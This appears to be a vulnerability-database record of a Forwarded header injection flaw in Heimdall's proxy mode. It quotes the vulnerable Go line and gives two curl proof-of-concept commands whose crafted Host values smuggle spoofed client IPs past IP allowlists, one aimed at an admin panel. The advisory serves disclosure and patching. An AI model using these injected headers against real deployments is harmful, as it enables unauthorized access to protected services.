{"id":"CVE-2026-57209","aliases":["GO-2026-5125"],"url":"https://o3.security/vulnerability/CVE-2026-57209","summary":"Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode","details":"### Summary\n\nWhen Heimdall operates in proxy mode, it constructs the `Forwarded` HTTP header after executing the matched rule pipeline by inserting the incoming request's `Host` header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the `Forwarded` header, potentially spoofing IP addresses for upstream services.\n\n### Vulnerable Code\n\n**File: `proxy/request_context.go` (line 201)**\n\n```go\nentry := \"for=\" + clientIP + \";host=\" + in.Host + \";proto=\" + proto\n```\n\nGo's `net/http` allows commas and semicolons in Host header values. No sanitization is applied before string concatenation.\n\n### PoC\n\n```bash\n# Inject a spoofed IP into the Forwarded header\ncurl -s -H \"Host: evil.com,for=127.0.0.1\" \\\n  \"http://TARGET:PORT/protected-resource\"\n```\n\nThis produces the following `Forwarded` header sent to the upstream service:\n\n```\nForwarded: for=1.2.3.4;host=evil.com, for=127.0.0.1;proto=http\n```\n\nUpstream services that parse the `Forwarded` header according to RFC 7239 will see two entries. If the service trusts the last or any `for=` value, the attacker successfully spoofs `127.0.0.1` as the client IP.\n\n```bash\n# More targeted attack: spoof to bypass IP allowlist\ncurl -s -H \"Host: legit.com;for=10.0.0.1;proto=https,for=192.168.1.1\" \\\n  \"http://TARGET:PORT/admin-panel\"\n```\n\n### Impact\n\n- **IP spoofing:** Upstream services behind Heimdall may trust the injected `for=` value, believing the request originates from an internal/trusted IP\n- **Access control bypass:** Applications that restrict access based on IP address by themselves, without using the corresponding heimdall capabilities (e.g., admin panels, internal APIs), can be bypassed\n- **Affects all proxy-mode deployments** where upstream services parse the `Forwarded` header.","published":"2026-06-18T14:24:41Z","modified":"2026-07-20T21:56:16.566999339Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/dadrus/heimdall","fixedVersion":"0.17.17"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/dadrus/heimdall/security/advisories/GHSA-4jgr-pg2m-m988"},{"type":"PACKAGE","url":"https://github.com/dadrus/heimdall"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-20T21:56:16.566999339Z"}}